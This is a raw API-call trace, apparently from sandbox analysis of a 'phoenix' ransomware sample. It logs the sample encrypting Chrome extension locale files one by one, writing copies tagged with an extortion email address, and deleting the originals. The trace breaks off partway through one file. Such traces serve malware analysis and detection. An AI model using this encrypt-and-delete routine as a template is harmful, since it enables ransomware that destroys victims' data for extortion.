	[0263.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.523] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.523] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.523] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0263.523] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.523] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd2, lpOverlapped=0x0) returned 1
	[0263.524] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0263.524] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0263.525] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0263.525] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.525] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.525] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.525] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.525] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.525] CloseHandle (hObject=0x308) returned 1
	[0263.525] CloseHandle (hObject=0x2c0) returned 1
	[0263.525] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json")) returned 1
	[0263.526] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.526] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.527] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=264) returned 1
	[0263.527] CloseHandle (hObject=0x2c0) returned 1
	[0263.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json")) returned 0x20
	[0263.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.528] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.528] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.528] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0263.528] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.529] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x108, lpOverlapped=0x0) returned 1
	[0263.530] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0263.530] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0263.530] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0263.530] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.530] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.530] CryptDestroyKey (hKey=0x151200) returned 1
	[0263.530] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.580] CryptDestroyKey (hKey=0x151180) returned 1
	[0263.580] CloseHandle (hObject=0x2c0) returned 1
	[0263.580] CloseHandle (hObject=0x308) returned 1
	[0263.580] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json")) returned 1
	[0263.581] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.581] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.581] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=234) returned 1
	[0263.581] CloseHandle (hObject=0x308) returned 1
	[0263.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json")) returned 0x20
	[0263.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.582] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.582] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.582] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0263.582] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.582] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xea, lpOverlapped=0x0) returned 1
	[0263.583] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.583] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.584] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0263.584] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.584] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.584] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.584] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.584] CryptDestroyKey (hKey=0x151180) returned 1
	[0263.584] CloseHandle (hObject=0x308) returned 1
	[0263.584] CloseHandle (hObject=0x2c0) returned 1
	[0263.585] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json")) returned 1
	[0263.586] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.586] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.586] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=295) returned 1
	[0263.586] CloseHandle (hObject=0x2c0) returned 1
	[0263.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json")) returned 0x20
	[0263.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.587] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.587] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.587] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0263.587] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.587] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x127, lpOverlapped=0x0) returned 1
	[0263.588] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130, dwBufLen=0x130 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130) returned 1
	[0263.588] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x130, lpOverlapped=0x0) returned 1
	[0263.589] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0263.589] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.589] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.589] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.589] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.590] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.590] CloseHandle (hObject=0x2c0) returned 1
	[0263.590] CloseHandle (hObject=0x308) returned 1
	[0263.590] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json")) returned 1
	[0263.591] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.591] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=324) returned 1
	[0263.591] CloseHandle (hObject=0x308) returned 1
	[0263.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json")) returned 0x20
	[0263.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.592] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.592] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.592] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.592] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.592] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0263.592] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.592] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x144, lpOverlapped=0x0) returned 1
	[0263.593] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0263.593] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0263.594] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0263.594] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
